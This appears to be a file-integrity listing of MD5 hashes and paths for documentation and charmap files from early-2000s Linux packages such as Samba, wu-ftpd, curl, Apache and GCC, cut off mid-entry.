+1663c8d611db56d3b2c2e9715c7b49e5 /usr/share/doc/sysstat-4.0.1/README +0095379640e45da8c03957dc9d990e0c /usr/share/doc/sysstat-4.0.1/TODO +d22d9f58275457da807d5d0a7b332f4c /usr/share/doc/samba-2.2.1a/Manifest +8ca43cbc842c2336e835926c2166c28b /usr/share/doc/samba-2.2.1a/COPYING +0286aa9b3365c427ddde3662737da081 /usr/share/doc/samba-2.2.1a/WHATSNEW.txt +7ac50da61749d7c39096fa8a6e4c9232 /usr/share/doc/samba-2.2.1a/README +8be27a5679926238dfdeec9392f456c3 /usr/share/doc/samba-2.2.1a/Roadmap +69f317abd5a711636b88eb60f17e68ad /usr/share/doc/samba-2.2.1a/docs/NT4_PlainPassword.reg +2258740996cd30b0a544ded52e9fe85b /usr/share/doc/samba-2.2.1a/docs/NT4-Locking.reg +78269c4ae39e2b3ecaa3ef1877b44a42 /usr/share/doc/samba-2.2.1a/docs/OID/allocated-arcs.txt +d74fd552ba321e1f90aae4ab59abf1d7 /usr/share/doc/samba-2.2.1a/docs/OID/samba-oid.mail +8bed1978855ebbcbca2378c02c8352fe /usr/share/doc/samba-2.2.1a/docs/Samba-HOWTO-Collection.pdf +803d48a4ea088776eaf9a30d3852d3ba /usr/share/doc/samba-2.2.1a/docs/README.pam_smbpass +96de617809b4825da6a659559148ed60 /usr/share/doc/samba-2.2.1a/docs/announce +44ffc198d5e4b5656995926f3258b4e3 /usr/share/doc/samba-2.2.1a/docs/THANKS +26111e03dbcb336b0fd76e52f23db64a /usr/share/doc/samba-2.2.1a/docs/faq/Samba-Server-FAQ-1.html +f1c39d4639525b79ff692f85ae5e5299 /usr/share/doc/samba-2.2.1a/docs/faq/Samba-Server-FAQ-2.html +81d5aa2610703d4fd4adab1d122fffa5 /usr/share/doc/samba-2.2.1a/docs/faq/Samba-Server-FAQ.html +b79cf2c3966c49de4811820aaa4ebe8a /usr/share/doc/samba-2.2.1a/docs/faq/Samba-meta-FAQ-1.html +c0af29edea46deac4e903dc3a701ef1a /usr/share/doc/samba-2.2.1a/docs/faq/Samba-meta-FAQ-2.html +ae30c8d0a6e881de814e4f8e81c599c8 /usr/share/doc/samba-2.2.1a/docs/faq/Samba-meta-FAQ-3.html +5881ac29141bfd72f010183791ed8310 /usr/share/doc/samba-2.2.1a/docs/faq/Samba-meta-FAQ-4.html +de114544e1989c5c792c56f314735e59 /usr/share/doc/samba-2.2.1a/docs/faq/Samba-meta-FAQ-5.html +860cd10a33a38baa30c68b8e7c7e8790 /usr/share/doc/samba-2.2.1a/docs/faq/Samba-meta-FAQ-6.html +526a36fa0a947eb54c3102a93fc53bf8 /usr/share/doc/samba-2.2.1a/docs/faq/Samba-meta-FAQ.html +a6fb3022d2ae5ccbcc8f3302dbc86ce0 /usr/share/doc/samba-2.2.1a/docs/faq/Samba-meta-FAQ.txt +0c09e52daa0bee6bd34f75ff4bcd9c1e /usr/share/doc/samba-2.2.1a/docs/faq/sambafaq-1.html +71a0ce89303463cd501d4102096da0c2 /usr/share/doc/samba-2.2.1a/docs/faq/sambafaq-2.html +3edb62b399c6ade183adc426b3a09b17 /usr/share/doc/samba-2.2.1a/docs/faq/sambafaq-3.html +b3a805a67e15024108f2fe65caf7cbd7 /usr/share/doc/samba-2.2.1a/docs/faq/sambafaq-4.html +34afe55cf22604c98f7090dfd630f5d3 /usr/share/doc/samba-2.2.1a/docs/faq/sambafaq-5.html +89c455227dd6bfe7847756defd1f5ec3 /usr/share/doc/samba-2.2.1a/docs/faq/sambafaq.html +ac8c1027232bb056e6f20ecb303ba7b7 /usr/share/doc/samba-2.2.1a/docs/faq/sambafaq.txt +68abb3fc3cdadd4fabf45df27a9d3e51 /usr/share/doc/samba-2.2.1a/docs/htmldocs/DOMAIN_MEMBER.html +974667aa86781460d8ef7dc05d2686ad /usr/share/doc/samba-2.2.1a/docs/htmldocs/CVS-Access.html +a8d7516061a32cac48db62c01efec4c3 /usr/share/doc/samba-2.2.1a/docs/htmldocs/NT_Security.html +38e738650cd6cabbc214a3743503f12d /usr/share/doc/samba-2.2.1a/docs/htmldocs/ENCRYPTION.html +1c300c1451a6bef84765dbca5b12cc9b /usr/share/doc/samba-2.2.1a/docs/htmldocs/PAM-Authentication-And-Samba.html +244dc97ed7ba93114c9e575550452b35 /usr/share/doc/samba-2.2.1a/docs/htmldocs/Integrating-with-Windows.html +3c6cc9c573d59cc3b57b5286bbe43394 /usr/share/doc/samba-2.2.1a/docs/htmldocs/OS2-Client-HOWTO.html +4e1f80b6931b78cf972a110eb989ea65 /usr/share/doc/samba-2.2.1a/docs/htmldocs/Samba-HOWTO-Collection.html +17a2dd27abf6cba62e45b467329328df /usr/share/doc/samba-2.2.1a/docs/htmldocs/Samba-PDC-HOWTO.html +2ca074dec0a739012e344076b47922fb /usr/share/doc/samba-2.2.1a/docs/htmldocs/UNIX_INSTALL.html +1faa4b8aa3571b6cfddc7cba5fc9ee94 /usr/share/doc/samba-2.2.1a/docs/htmldocs/msdfs_setup.html +825e001dd34516e0c8a04ef4d8d961aa /usr/share/doc/samba-2.2.1a/docs/htmldocs/printer_driver2.html +86da7a9d154394abf601e19a239e641b /usr/share/doc/samba-2.2.1a/docs/htmldocs/samba-pdc-faq.html +11c4e28dd47b18d2777569b336571ead /usr/share/doc/samba-2.2.1a/docs/htmldocs/samba-pdc-howto.html +091553e22b491087dfc40b67f4f5b629 /usr/share/doc/samba-2.2.1a/docs/htmldocs/wfw_slip.htm +78c22d791695645fc23734b554d056af /usr/share/doc/samba-2.2.1a/docs/htmldocs/winbind.html +744788ca3cab282556d9588ab1f54d9c /usr/share/doc/samba-2.2.1a/docs/textdocs/DHCP-Server-Configuration.txt +266409ceb6d142c4fc5964bb62956273 /usr/share/doc/samba-2.2.1a/docs/textdocs/Application_Serving.txt +139b7c6e0daa9bb58829d97ff5d4425e /usr/share/doc/samba-2.2.1a/docs/textdocs/BROWSING-Config.txt +01a7a1f0bd1e6d962e56f8c289be25f6 /usr/share/doc/samba-2.2.1a/docs/textdocs/BROWSING.txt +485be5748aded567403c8558d75400d6 /usr/share/doc/samba-2.2.1a/docs/textdocs/BUGS.txt +6f169cdfdcaaa547c25e511c0a4e529c /usr/share/doc/samba-2.2.1a/docs/textdocs/INSTALL.sambatar +50396e254c5db7140a0c9e7ee5df4af9 /usr/share/doc/samba-2.2.1a/docs/textdocs/DIAGNOSIS.txt +3ee19941a602fbe8fb4ad10cb82881f4 /usr/share/doc/samba-2.2.1a/docs/textdocs/DNIX.txt +dd5d16f9ea5d81c69156a56a443fb0a4 /usr/share/doc/samba-2.2.1a/docs/textdocs/Faxing.txt +736aeebccf3bef1b88a56c3697d3421c /usr/share/doc/samba-2.2.1a/docs/textdocs/GOTCHAS.txt +5c277c84a68d583d23e044e3a871fb5f /usr/share/doc/samba-2.2.1a/docs/textdocs/HINTS.txt +bff61c5d8a02eec6cf379d575b29105d /usr/share/doc/samba-2.2.1a/docs/textdocs/Macintosh_Clients.txt +eb9df2db1b672abfb34ea10f9306a9c0 /usr/share/doc/samba-2.2.1a/docs/textdocs/Imprints.txt +95ad3238e5aaa81486f66be31007dbbf /usr/share/doc/samba-2.2.1a/docs/textdocs/PROFILES.txt +1772850deb0de89224d54ea746336fa8 /usr/share/doc/samba-2.2.1a/docs/textdocs/NetBIOS.txt +e08dc0e09f2199627b0eaedbc8059780 /usr/share/doc/samba-2.2.1a/docs/textdocs/RoutedNetworks.txt +197046ae891d74c03717c13400899912 /usr/share/doc/samba-2.2.1a/docs/textdocs/Passwords.txt +736ded093dd8fb3794b8afe0af310910 /usr/share/doc/samba-2.2.1a/docs/textdocs/Printing.txt +bbfa244e7a897b5c55ea6d9a5f1bb7db /usr/share/doc/samba-2.2.1a/docs/textdocs/README.DCEDFS +a3c0b4881b788da822976d0d6ed5d3aa /usr/share/doc/samba-2.2.1a/docs/textdocs/README.jis +a8c703d9233215fc15106eef06c76e22 /usr/share/doc/samba-2.2.1a/docs/textdocs/README.sambatar +73a8ac0b675eb52b4f47d9ecbb2cd1db /usr/share/doc/samba-2.2.1a/docs/textdocs/Recent-FAQs.txt +e91b04c9ffc407cfc6ab988e669b96cb /usr/share/doc/samba-2.2.1a/docs/textdocs/SMBTAR.notes +33049263344d06629437703e73876bcd /usr/share/doc/samba-2.2.1a/docs/textdocs/SCO.txt +38f58a977e654fd936e7f9f21354acee /usr/share/doc/samba-2.2.1a/docs/textdocs/UNIX-SMB.txt +f41422bf3afc7a7b8ad90de114f1b37e /usr/share/doc/samba-2.2.1a/docs/textdocs/SSLeay.txt +cfc71b00f26c455cf9f649346b61ac29 /usr/share/doc/samba-2.2.1a/docs/textdocs/Speed.txt +7fccf9b8c4c8628fa9f5c89fac345615 /usr/share/doc/samba-2.2.1a/docs/textdocs/Speed2.txt +cff12c93f5662b29b7bcfa9d0d0ce816 /usr/share/doc/samba-2.2.1a/docs/textdocs/Tracing.txt +6e167fb9ed78d84bc1195997d9a28e88 /usr/share/doc/samba-2.2.1a/docs/textdocs/outdated/PRINTER_DRIVER.txt +2ecf93158e7d744ff4e7711a4f7e9991 /usr/share/doc/samba-2.2.1a/docs/textdocs/outdated/NTDOMAIN.txt +425ee089782993e1ac840c7317044b2a /usr/share/doc/samba-2.2.1a/docs/textdocs/outdated/PROJECTS +f6f817ab0f25a8e890c111e5ae716e52 /usr/share/doc/samba-2.2.1a/docs/textdocs/UNIX_SECURITY.txt +63a92383b493bd77cffe50f96c56083a /usr/share/doc/samba-2.2.1a/docs/textdocs/Win95.txt +8ab0873c3ee9ce3298fe14eceaf8b9f5 /usr/share/doc/samba-2.2.1a/docs/textdocs/WinNT.txt +ca3fbfda257945497da053f0ff9d33a6 /usr/share/doc/samba-2.2.1a/docs/textdocs/cifsntdomain.txt +c06b3bc31d339a78f8bf5b6c3e4b2635 /usr/share/doc/samba-2.2.1a/docs/textdocs/kurs.pdf +e48495d25238680eee95ffb5f4d4e5c0 /usr/share/doc/samba-2.2.1a/docs/textdocs/kurs.tex +0d81129efc2939c8037b49b2b57ea033 /usr/share/doc/samba-2.2.1a/docs/textdocs/logo.ps +e89c4251079e38f306bdc8a8d47be459 /usr/share/doc/samba-2.2.1a/docs/textdocs/security_level.txt +3f56cb596171377ae64259d5b42b0785 /usr/share/doc/samba-2.2.1a/docs/Win2000_PlainPassword.reg +a4f6f6d2d92a59fc67e2c3475ab3d3f4 /usr/share/doc/samba-2.2.1a/docs/Win95_PlainPassword.reg +a4f6f6d2d92a59fc67e2c3475ab3d3f4 /usr/share/doc/samba-2.2.1a/docs/Win98_PlainPassword.reg +4d62b63d8644130319b109de0068ad23 /usr/share/doc/samba-2.2.1a/docs/Win9X-CacheHandling.reg +a4f6f6d2d92a59fc67e2c3475ab3d3f4 /usr/share/doc/samba-2.2.1a/docs/WinME_PlainPassword.reg +901b16a407b3518b00071aa9fc791ad0 /usr/share/doc/samba-2.2.1a/docs/WindowsTerminalServer.reg +5665a325c0801f05aee4f6f2aaed47bb /usr/share/doc/samba-2.2.1a/docs/history +5f7a2b98d73b3e3b8e62e8bad5146cad /usr/share/doc/samba-2.2.1a/docs/samba.lsm +d41d8cd98f00b204e9800998ecf8427e /usr/share/doc/samba-2.2.1a/Read-Manifest-Now +1b0a0614f4a06f6d7583e36fa16b0a38 /usr/share/doc/samba-2.2.1a/examples/LDAP/ldapchpasswd +1d8b2ec74d78c310dbfcb235a0a8e111 /usr/share/doc/samba-2.2.1a/examples/LDAP/README +04f54428e3b84dc0075e690789fc55d0 /usr/share/doc/samba-2.2.1a/examples/LDAP/export2_smbpasswd.pl +79ac8a3639bffae9ca22b5a44fa5dc34 /usr/share/doc/samba-2.2.1a/examples/LDAP/export_smbpasswd.pl +b8f949c17a42a9aaecb9692680d300e0 /usr/share/doc/samba-2.2.1a/examples/LDAP/import2_smbpasswd.pl +2bd789faf157585dc3338127582ea6f6 /usr/share/doc/samba-2.2.1a/examples/LDAP/import_smbpasswd.pl +ff25038f274de9d7f5c8a36c1795a4ea /usr/share/doc/samba-2.2.1a/examples/LDAP/ldapsync.pl +c66bce908c3fd77ca7575a80add4796a /usr/share/doc/samba-2.2.1a/examples/LDAP/samba.schema +4cefc41e4eec7512ff8a7c9f1809c74c /usr/share/doc/samba-2.2.1a/examples/VFS/block/samba-block.conf +e0e34b3278535d1424b4c91170b0aa0a /usr/share/doc/samba-2.2.1a/examples/VFS/block/Makefile +8de55cb0828ff3f7e7025ddc8897e8b9 /usr/share/doc/samba-2.2.1a/examples/VFS/block/block.c +e4c5d75e6df3ec51c3391c5c7ff7ff49 /usr/share/doc/samba-2.2.1a/examples/VFS/block/smb.conf +87ca9f277df062aa1cfc8fcfa740fe59 /usr/share/doc/samba-2.2.1a/examples/VFS/.cvsignore +3ddc5349a0ce093eeb0a802eb2f3164d /usr/share/doc/samba-2.2.1a/examples/VFS/Makefile +51e60e7c080946056313ae01fb4c3dbd /usr/share/doc/samba-2.2.1a/examples/VFS/README +9e7cd25f45eb4b9859db879c494441d9 /usr/share/doc/samba-2.2.1a/examples/VFS/audit.c +338b9328808fce4ddb3288ec63658fa6 /usr/share/doc/samba-2.2.1a/examples/VFS/skel.c +26a3c52b37581eb827bc1c8289c1426d /usr/share/doc/samba-2.2.1a/examples/misc/modify_samba_config.pl +222084189c8a89b102fcbd7788d4f5c4 /usr/share/doc/samba-2.2.1a/examples/misc/extra_smbstatus +508b47c93ad5b2dbcf68f36eda718fa7 /usr/share/doc/samba-2.2.1a/examples/misc/wall.perl +7d1c15ac6f1361fefb88c70d6c17f6c1 /usr/share/doc/samba-2.2.1a/examples/misc/swat.pl +e8871d1abe57c975e12aabfa676035ae /usr/share/doc/samba-2.2.1a/examples/README +26ae9bcac03c585bab17d5659d682ead /usr/share/doc/samba-2.2.1a/examples/appliance/appliance.spec +29d3d99cbc20928bca28984500d5e885 /usr/share/doc/samba-2.2.1a/examples/appliance/Makefile +054e0f3f7192f0848d86d2088674ac51 /usr/share/doc/samba-2.2.1a/examples/appliance/README +337382157e92de4aee69f824b5b7a571 /usr/share/doc/samba-2.2.1a/examples/appliance/smb.conf-appliance +4df50d7ffa9f934b7a9050bc96f518fa /usr/share/doc/samba-2.2.1a/examples/appliance/build.sh +19984f06287979f665e242162d13a567 /usr/share/doc/samba-2.2.1a/examples/autofs/auto.a +650f3a19c06e5cf77d39fcf03cdc0368 /usr/share/doc/samba-2.2.1a/examples/dce-dfs/smb.conf +9a328e7afdbe5c2a5c89c979745a83ed /usr/share/doc/samba-2.2.1a/examples/dce-dfs/README +9c6cced7201ea5589f1171cf0285659e /usr/share/doc/samba-2.2.1a/examples/libsmbclient/testsmbc.c +2ca5d2f524efd2bb4482a8fdb84e81ca /usr/share/doc/samba-2.2.1a/examples/libsmbclient/tree.c +d3c735279d12bc6a6c081dca0e784819 /usr/share/doc/samba-2.2.1a/examples/printer-accounting/acct-all +1507c531bc061ef4f2cdba4cc845498f /usr/share/doc/samba-2.2.1a/examples/printer-accounting/README +662ab0fe36cf0677e322dac44c308b78 /usr/share/doc/samba-2.2.1a/examples/printer-accounting/acct-sum +ec0dcf9af11a7ea7773cf7b861c8e56b /usr/share/doc/samba-2.2.1a/examples/printer-accounting/hp5-redir +5a03d442b2e470eed8d2a9ab43005738 /usr/share/doc/samba-2.2.1a/examples/printer-accounting/lp-acct +54c946049e6e7f8d0a7e3799377151ca /usr/share/doc/samba-2.2.1a/examples/printer-accounting/printcap +203cb7cc61c3228687eacb5e8464b87b /usr/share/doc/samba-2.2.1a/examples/printing/smbprint.newer +94453e76f5e9bf4e068c3dbf46d6e6f8 /usr/share/doc/samba-2.2.1a/examples/printing/smbprint +8bc7864ed17daf3b5f257b6969e5efcc /usr/share/doc/samba-2.2.1a/examples/printing/smbprint.sysv +ac70486ef323d409a357ccec46507003 /usr/share/doc/samba-2.2.1a/examples/simple/smb.conf +c8318a2e2a18b45c5ebd4d14061042b7 /usr/share/doc/samba-2.2.1a/examples/simple/README +ba34b2a05ee2dcbc89f3afa3512b23c7 /usr/share/doc/samba-2.2.1a/examples/svr4-startup/samba.server +ac9dbece9b19e17fb78bef2140d302bc /usr/share/doc/samba-2.2.1a/examples/svr4-startup/README +d2c2512389b75e8b182dcd96b7049af8 /usr/share/doc/samba-2.2.1a/examples/thoralf/smb.conf +73a993fbc90af7ef666365b4ce2c23ec /usr/share/doc/samba-2.2.1a/examples/smb.conf.default +b094f4f24a477c39b5def4c06b0f8f6c /usr/share/doc/samba-2.2.1a/examples/tridge/smb.conf +386c5cce53d5d36e0d0fdfe1f61d6381 /usr/share/doc/samba-2.2.1a/examples/tridge/README +83a3b647fa0822c637c5742f63630bc7 /usr/share/doc/samba-2.2.1a/examples/tridge/smb.conf.lapland +83a3b647fa0822c637c5742f63630bc7 /usr/share/doc/samba-2.2.1a/examples/tridge/smb.conf.WinNT +f2d69063f19d490c811e352190b5aa2b /usr/share/doc/samba-2.2.1a/examples/tridge/smb.conf.fjall +bb6e809158590f6771df52d32ecfec19 /usr/share/doc/samba-2.2.1a/examples/tridge/smb.conf.vittjokk +fc5ec7bf035381a20a4e03377023539a /usr/share/doc/samba-2.2.1a/examples/validchars/validchr.com +09b59374ad2305fd8ad2fd9524567e01 /usr/share/doc/samba-2.2.1a/examples/validchars/msdos70.out +44748ce37ab2a3f05ff6216263b3394a /usr/share/doc/samba-2.2.1a/examples/validchars/nwdos70.out +55f5fce0b0d68312864fc89a787751c2 /usr/share/doc/samba-2.2.1a/examples/validchars/readme +a5351e790127f5074a71b715994cc155 /usr/share/doc/samba-2.2.1a/examples/validchars/validchr.c +3c844fd61bed138cbf0ec50b2ba5be73 /usr/share/doc/wu-ftpd-2.6.1/CONTRIBUTORS +384be80eef583cd7b1b3e5455d3bf84a /usr/share/doc/wu-ftpd-2.6.1/CHANGES +7a9697ced1fc3a913197fdef682ee764 /usr/share/doc/wu-ftpd-2.6.1/HOWTO/VIRTUAL.FTP.SUPPORT +6be8d8acbc864937db1414c74865be43 /usr/share/doc/wu-ftpd-2.6.1/HOWTO/CIDR.vs.netmask +7d769abd4d627316309fb4431e0db68a /usr/share/doc/wu-ftpd-2.6.1/HOWTO/guest.HOWTO +c337efee32b4753d7450c9f2181cb45f /usr/share/doc/wu-ftpd-2.6.1/HOWTO/upload.configuration.HOWTO +d60ce6908df70ed1242c2c8b0022208a /usr/share/doc/wu-ftpd-2.6.1/ERRATA +b824a42ca1ad39cf7c7cd661cb6d085c /usr/share/doc/wu-ftpd-2.6.1/examples/README +d5f9d3e0a3fffe742b377ffee09bf4ae /usr/share/doc/wu-ftpd-2.6.1/examples/PAM +dc7dbb0e41ac23b0a7dc9531146d72c0 /usr/share/doc/wu-ftpd-2.6.1/examples/ftpaccess.heavy +3f389ac7df3cf40e96a5567d90de0893 /usr/share/doc/wu-ftpd-2.6.1/examples/ftpaccess +beda553df8ab3c2271cd2ac7a7171e5d /usr/share/doc/wu-ftpd-2.6.1/examples/ftpconversions.solaris +3ad3d78706db43d68044f90d4989e74d /usr/share/doc/wu-ftpd-2.6.1/examples/ftpconversions +9f590a2b9c585f8498da4417ed95ecc5 /usr/share/doc/wu-ftpd-2.6.1/examples/ftpgroups +e8887731425c49bb8ba94b093399aad8 /usr/share/doc/wu-ftpd-2.6.1/examples/ftphosts +d1e1fef53400e1afd37d75c5b009d65b /usr/share/doc/wu-ftpd-2.6.1/examples/ftponly +d4a855ac1fd1b66cef0c8935b54a8965 /usr/share/doc/wu-ftpd-2.6.1/examples/ftpservers +713fa130ed221c88c435b2bde28d2c2a /usr/share/doc/wu-ftpd-2.6.1/examples/ftpusers +2b4791bbc8d5c277b5e25dc3183dad58 /usr/share/doc/wu-ftpd-2.6.1/examples/xinetd +a181bd9ffca3ad8194b12241e39a314b /usr/share/doc/wu-ftpd-2.6.1/README +bb3b499fa3b26ed2b9fda8c369c74126 /usr/share/doc/wu-ftpd-2.6.1/TODO +35b9bdcc02d519cdb5b419b89420389f /usr/share/doc/curl-7.8/CONTRIBUTE +2db8fc02b18807440f33f6246b8ceece /usr/share/doc/curl-7.8/BUGS +02d929c6e2132a17a44391eaddfce5cb /usr/share/doc/curl-7.8/CHANGES +08d25741ab5b0237240e7d7dc1968a0f /usr/share/doc/curl-7.8/FEATURES +4a58670668758860947443c008a392c3 /usr/share/doc/curl-7.8/FAQ +b63d44dd9fcdb6ebc6b4f7d1ed41f56d /usr/share/doc/curl-7.8/INTERNALS +54e86e9ce863e42f891ce732dc32bf0b /usr/share/doc/curl-7.8/INSTALL +a7ff40789c62576081cf37e7eb74c5f2 /usr/share/doc/curl-7.8/RESOURCES +470872c055b0aad1afe889b639a55696 /usr/share/doc/curl-7.8/LEGAL +48526ca576c34e609657da8de9167c73 /usr/share/doc/curl-7.8/LIBCURL +7114b74405acb00b4deca4ebfac07034 /usr/share/doc/curl-7.8/MANUAL +a9ec82d9acc3cd2f240e87ab54f2d18f /usr/share/doc/curl-7.8/README +d795205465c903a5ebdc2edfbf94a5f0 /usr/share/doc/curl-7.8/examples/Makefile.example +34caf8676758bf41a23335ab86926045 /usr/share/doc/curl-7.8/examples/Makefile +6ee72d4fdadb861b7915a3aac3150d92 /usr/share/doc/curl-7.8/examples/Makefile.am +e995ab8f38eb110cad1ca1b4ce6bf375 /usr/share/doc/curl-7.8/examples/getinmemory.c +639cd9c2a224c1d48b533e60876a353d /usr/share/doc/curl-7.8/examples/Makefile.in +8420fb70c6e7638ecf98dce768d3aba5 /usr/share/doc/curl-7.8/examples/README +876635539b16b2f972e237fdda56b5f3 /usr/share/doc/curl-7.8/examples/curlgtk.c +a8d4b6f7a143f6e13848d083726be35b /usr/share/doc/curl-7.8/examples/ftpget.c +d7fc082f3a1d66b9690646b3055eb40f /usr/share/doc/curl-7.8/examples/multithread.c +b3d8d4370a7189fd35b8179bfa7f7830 /usr/share/doc/curl-7.8/examples/persistant.c +edda8a192473f6970b8987a3eb8c0630 /usr/share/doc/curl-7.8/examples/postit.c +4748e7635df4584be45d7e01c35a5036 /usr/share/doc/curl-7.8/examples/sepheaders.c +e270b86bdc2f62d2528a64a98d750cb2 /usr/share/doc/curl-7.8/examples/simple.c +54b659eda1b5c35f1eca5f1c01e1994b /usr/share/doc/curl-7.8/examples/win32sockets.c +58623bbd09d2c54b633aaed4f2479f41 /usr/share/doc/curl-7.8/TODO +51f9a0a561f67e55874b41544689bfb5 /usr/share/doc/curl-7.8/TheArtOfHttpScripting +73d5fb16504019454f7119696e37103e /usr/share/doc/mm-1.1.3/LICENSE +3d6853919e6ac3daccb8fa3df5ffb2c7 /usr/share/doc/mm-1.1.3/PORTING +f96393f446c680b16f80850fba8a60f4 /usr/share/doc/mm-1.1.3/README +5eb0b8751251ab2ee77e1c6e4ce9864b /usr/share/doc/mm-1.1.3/THANKS +812e2190021f1969d00432f47e081b1b /usr/share/doc/apache-1.3.20/cgi-bin/printenv +12929c70708c6da5390c4b02b3008c28 /usr/share/doc/apache-1.3.20/cgi-bin/test-cgi +8f68f9989142639c79f00059fd9f2179 /usr/share/doc/apache-1.3.20/ABOUT_APACHE +7d500a2f3f716f13637544ad24a6c6d5 /usr/share/doc/apache-1.3.20/Announcement +aef2b16e21f4087cb5963a8f1b4f7b66 /usr/share/doc/apache-1.3.20/KEYS +92afa66b413bb09a3bbd590091a836f5 /usr/share/doc/apache-1.3.20/LICENSE +0f2b8f59e909036b5d9febee9afdde2f /usr/share/doc/apache-1.3.20/README +56fe860a3f5ba8be38b432bf58a42480 /usr/share/doc/mod_dav-1.0.2/LICENSE.html +17249510e8346e6d2dc56428089c1aa7 /usr/share/doc/mod_dav-1.0.2/CHANGES +687989a692399ffbcb946b364700bf65 /usr/share/doc/mod_dav-1.0.2/INSTALL +d1bc06d40ebf99e97efe03028209ab19 /usr/share/doc/mod_dav-1.0.2/README +6f427b4360bc089028a2dd2182d11533 /usr/share/doc/mod_ssl-2.8.4/README.GlobalID +8f05829121cb5869ebded78d2e65816e /usr/share/doc/mod_ssl-2.8.4/CHANGES +2573acfaeb6f0eef6c71630458c63a52 /usr/share/doc/mod_ssl-2.8.4/CREDITS +b63fa207a8cc69a5b3fff04c0354e837 /usr/share/doc/mod_ssl-2.8.4/LICENSE +da66b9b593bb4df929e3995c3042e898 /usr/share/doc/mod_ssl-2.8.4/NEWS +4cac9af65eee94e423b0e6667bc64bf8 /usr/share/doc/mod_ssl-2.8.4/README +e51364b0d9f42c1dc6b9279b15c511ee /usr/share/doc/mod_ssl-2.8.4/SSL-Certificate-Creation +ab9368e35d430cf410f2d0a58f7319e3 /usr/share/doc/mod_ssl-2.8.4/README.Support +6f79c4bc416fb5b3260f2b23b259662e /usr/share/doc/mod_ssl-2.8.4/README.Versions +7c405bba7bdccc3e70fb439bc968ad02 /usr/share/doc/mod_ssl-2.8.4/README.Wishes +ba59fb2c4f135099e80cdc681d880c5d /usr/share/doc/tcpdump-3.6.2/CHANGES +8b33e19ff74d282f6da9c279fa0626d3 /usr/share/doc/tcpdump-3.6.2/README +07c33a285703b40cd6f93a478e97e03b /usr/share/doc/binutils-2.11.90.0.8/README +470654aa2b9e96142c58a3b7b1f1afc4 /usr/share/doc/gcc-2.96/ChangeLog.CPP +fb2559d2834059ea59c70cd4d6a2dbef /usr/share/doc/gcc-2.96/ChangeLog +0bb4ba0236664c077ed6f06a968d67a0 /usr/share/doc/gcc-2.96/ChangeLog.0 +2c6f4cdeca31b71482c60b5b8c1efd94 /usr/share/doc/gcc-2.96/ChangeLog.1 +4eba6b727eb9350911129d5951835751 /usr/share/doc/gcc-2.96/ChangeLog.2 +db69de1e67b13c7a6ce5323ba8bc2747 /usr/share/doc/gcc-2.96/ChangeLog.3 +ebf34805aaaa9f91fb9fde6b43a00bcb /usr/share/doc/gcc-2.96/README.Portability +471d31613f0b6a261c7d39dee47201ff /usr/share/doc/gcc-2.96/ChangeLog.lib +4804423c755a929408412852eb45e422 /usr/share/doc/gcc-2.96/FSFChangeLog +9db6607e32094bb0bb914c6e1de5d5c4 /usr/share/doc/gcc-2.96/FSFChangeLog.10 +74836c6c609f155844de947ffc4b8ccd /usr/share/doc/gcc-2.96/FSFChangeLog.11 +c7fd77965538a788a95a25e7e3cdf0e7 /usr/share/doc/gcc-2.96/README +84d5c4f12c8179d3fa7cc5524cbb512e /usr/share/doc/gcc-2.96/README-bugs +0eda67e4f2e5bbfe70aa4c8b0680f47c /usr/share/doc/gcc-2.96/README-fixinc +5dd346bd602f04e64f336587c5be3112 /usr/share/doc/gcc-2.96/README.ACORN +3e968687cafd94c392c3986ec6560615 /usr/share/doc/gcc-2.96/README.ALTOS +796a6ff81dbc84ab3fa2d8a16b8c8178 /usr/share/doc/gcc-2.96/README.APOLLO +d26fa093c72fd05474703c9495eaa3d5 /usr/share/doc/gcc-2.96/README.AVR +b0ee7ca35874ce37e795bc06235d536f /usr/share/doc/gcc-2.96/README.C4X +9262a51ba7e3b1ed9da23948f1f7f16f /usr/share/doc/gcc-2.96/README.DWARF +c7bccc1e4cb6e7fb76c9ac7453f1446d /usr/share/doc/gcc-2.96/README.FRESCO +ce11976e5e8792251abb1a8dcd544e39 /usr/share/doc/gcc-2.96/README.NS32K +d372bbe3e00b906d4cacee23b4913cf0 /usr/share/doc/gcc-2.96/README.RS6000 +8022442ba059a1340d89b96ad97f288f /usr/share/doc/gcc-2.96/README.TRAD +ff9160c791c20998891e7f9f6accb49f /usr/share/doc/gcc-2.96/README.X11 +cfca64cf814254fe022c44dfb6d66345 /usr/share/doc/gcc-2.96/README.gnat +505812b3fa141c0b29aedaa09992c527 /usr/share/doc/dev86-0.15.5/Contributors +80e87f03daf683d7673432c9d6b46325 /usr/share/doc/dev86-0.15.5/ChangeLog +c2eda2a9c8ce1351fffb1a87b8153438 /usr/share/doc/dev86-0.15.5/README-0.4 +9313a492d06f4167d1862d38219dc8ec /usr/share/doc/dev86-0.15.5/MAGIC +10a69fd0ebbeb8ea58a6558c9ebad660 /usr/share/doc/dev86-0.15.5/README +9689f292583a78e19e7170f3488f3c2c /usr/share/i18n/charmaps/CSA_Z243.4-1985-1.gz +41db03080e801d63ab2f1ee431e3b521 /usr/share/i18n/charmaps/ANSI_X3.110-1983.gz +9cd14f0eb78a1d21b377d417279e3309 /usr/share/i18n/charmaps/ANSI_X3.4-1968.gz +2d3c8052ca60bf6c4854e04af70ee698 /usr/share/i18n/charmaps/ASMO_449.gz +ef91768b8116652343b5efaf69e75d5e /usr/share/i18n/charmaps/BIG5-HKSCS.gz +2ad76ea2deb23d7fda718730d8e69d52 /usr/share/i18n/charmaps/BIG5.gz +3c69b6d5675a47a70fd8e4370a335326 /usr/share/i18n/charmaps/BS_4730.gz +d30361572c776bfa76f3a6fdbd33bb36 /usr/share/i18n/charmaps/BS_VIEWDATA.gz +a37b6738cfdb487e42a539d4b7b705aa /usr/share/i18n/charmaps/CP10007.gz +713d26de858fcafcaff79973c2b4a6c1 /usr/share/i18n/charmaps/CP1250.gz +af6c7d74f482f1fcfde8db75acb31563 /usr/share/i18n/charmaps/CP1251.gz +3afb4db325c016ab8d2d1e40cd744888 /usr/share/i18n/charmaps/CP1252.gz +aec211338a94f2d09155a537bad5b15a /usr/share/i18n/charmaps/CP1253.gz +26ae63376178d9f432e6ea9c39b6b0a2 /usr/share/i18n/charmaps/CP1254.gz +00f4c4476f0385c9e6e2a02a381270df /usr/share/i18n/charmaps/CP1255.gz +4e9a3070b7b6c835601224926d0d7690 /usr/share/i18n/charmaps/CP1256.gz +3435a63d2fd9a1aa4f2c4a1124dd480d /usr/share/i18n/charmaps/CP1257.gz +7d43dd552fcc776bb0b7cf8eb6d00f13 /usr/share/i18n/charmaps/CP1258.gz +2a42f2f3d54a52930ebcf668f551c9a2 